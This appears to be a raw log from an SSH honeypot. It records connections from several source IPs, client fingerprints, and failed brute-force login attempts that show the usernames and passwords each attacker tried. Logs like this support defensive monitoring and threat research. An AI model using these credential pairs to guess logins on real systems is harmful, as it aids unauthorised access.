{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:14.672445Z","src_ip":"45.173.103.113","session":"05ec1d01e493","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:14.774345Z","src_ip":"45.173.103.113","session":"05ec1d01e493","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:15.216472Z","src_ip":"45.173.103.113","session":"05ec1d01e493","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":42564,"dst_ip":"10.17.0.5","dst_port":22,"session":"90cecef5d553","protocol":"ssh","message":"New connection: 103.176.20.57:42564 (10.17.0.5:22) [session: 90cecef5d553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:15.569669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:15.574882Z","src_ip":"103.176.20.57","session":"90cecef5d553","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:15.822429Z","src_ip":"103.176.20.57","session":"90cecef5d553","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:16.321823Z","src_ip":"45.173.103.113","session":"05ec1d01e493","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:16.572678Z","src_ip":"103.176.20.57","session":"90cecef5d553","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:17.822292Z","src_ip":"103.176.20.57","session":"90cecef5d553","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":49462,"dst_ip":"10.17.0.5","dst_port":22,"session":"13c0249d6471","protocol":"ssh","message":"New connection: 194.59.206.2:49462 (10.17.0.5:22) [session: 13c0249d6471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:25.497882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:25.503958Z","src_ip":"194.59.206.2","session":"13c0249d6471","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:25.595070Z","src_ip":"194.59.206.2","session":"13c0249d6471","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:25.690978Z","src_ip":"194.59.206.2","session":"13c0249d6471","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":50629,"dst_ip":"10.17.0.5","dst_port":22,"session":"18dacab1dca9","protocol":"ssh","message":"New connection: 2.57.121.112:50629 (10.17.0.5:22) [session: 18dacab1dca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:34.427989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:34.433220Z","src_ip":"2.57.121.112","session":"18dacab1dca9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:34.539655Z","src_ip":"2.57.121.112","session":"18dacab1dca9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"050297","message":"login attempt [admin/050297] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:35.035057Z","src_ip":"2.57.121.112","session":"18dacab1dca9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"05021999","message":"login attempt [admin/05021999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:36.143656Z","src_ip":"2.57.121.112","session":"18dacab1dca9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"05021995","message":"login attempt [admin/05021995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:37.252301Z","src_ip":"2.57.121.112","session":"18dacab1dca9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"05021972","message":"login attempt [admin/05021972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:38.360825Z","src_ip":"2.57.121.112","session":"18dacab1dca9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"050187","message":"login attempt [admin/050187] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:39.472019Z","src_ip":"2.57.121.112","session":"18dacab1dca9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:40.579568Z","src_ip":"2.57.121.112","session":"18dacab1dca9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":43600,"dst_ip":"10.17.0.5","dst_port":22,"session":"413b1a92b322","protocol":"ssh","message":"New connection: 37.233.85.71:43600 (10.17.0.5:22) [session: 413b1a92b322]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:53.827605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:53.831684Z","src_ip":"37.233.85.71","session":"413b1a92b322","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:53.950619Z","src_ip":"37.233.85.71","session":"413b1a92b322","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kovalev","message":"login attempt [root/kovalev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:54.269935Z","src_ip":"37.233.85.71","session":"413b1a92b322","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:13:55.380132Z","src_ip":"37.233.85.71","session":"413b1a92b322","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":58618,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3a0d934a149","protocol":"ssh","message":"New connection: 103.82.20.28:58618 (10.17.0.5:22) [session: a3a0d934a149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:14:19.844486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:14:19.850778Z","src_ip":"103.82.20.28","session":"a3a0d934a149","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:14:20.109868Z","src_ip":"103.82.20.28","session":"a3a0d934a149","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cegthgfhjkm","message":"login attempt [root/cegthgfhjkm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:14:20.875156Z","src_ip":"103.82.20.28","session":"a3a0d934a149","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:14:22.133346Z","src_ip":"103.82.20.28","session":"a3a0d934a149","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":37386,"dst_ip":"159.203.135.109","dst_port":22,"session":"8241f3594176","protocol":"ssh","message":"New connection: 62.133.62.83:37386 (159.203.135.109:22) [session: 8241f3594176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:14:30.402915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:14:30.409834Z","src_ip":"62.133.62.83","session":"8241f3594176","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:14:30.490259Z","src_ip":"62.133.62.83","session":"8241f3594176","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"horror","message":"login attempt [root/horror] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:14:30.730489Z","src_ip":"62.133.62.83","session":"8241f3594176","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:14:31.812253Z","src_ip":"62.133.62.83","session":"8241f3594176","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.135.235.126","src_port":49282,"dst_ip":"10.17.0.5","dst_port":22,"session":"accb0731686e","protocol":"ssh","message":"New connection: 115.135.235.126:49282 (10.17.0.5:22) [session: accb0731686e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:14:47.995532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:14:48.003112Z","src_ip":"115.135.235.126","session":"accb0731686e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:14:48.271994Z","src_ip":"115.135.235.126","session":"accb0731686e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass123!","message":"login attempt [root/Pass123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:14:49.467635Z","src_ip":"115.135.235.126","session":"accb0731686e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:14:50.768728Z","src_ip":"115.135.235.126","session":"accb0731686e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.173.103.113","src_port":58504,"dst_ip":"10.17.0.5","dst_port":22,"session":"8502bdcd844e","protocol":"ssh","message":"New connection: 45.173.103.113:58504 (10.17.0.5:22) [session: 8502bdcd844e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:15:00.242717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:15:00.249085Z","src_ip":"45.173.103.113","session":"8502bdcd844e","protocol":"ssh"}
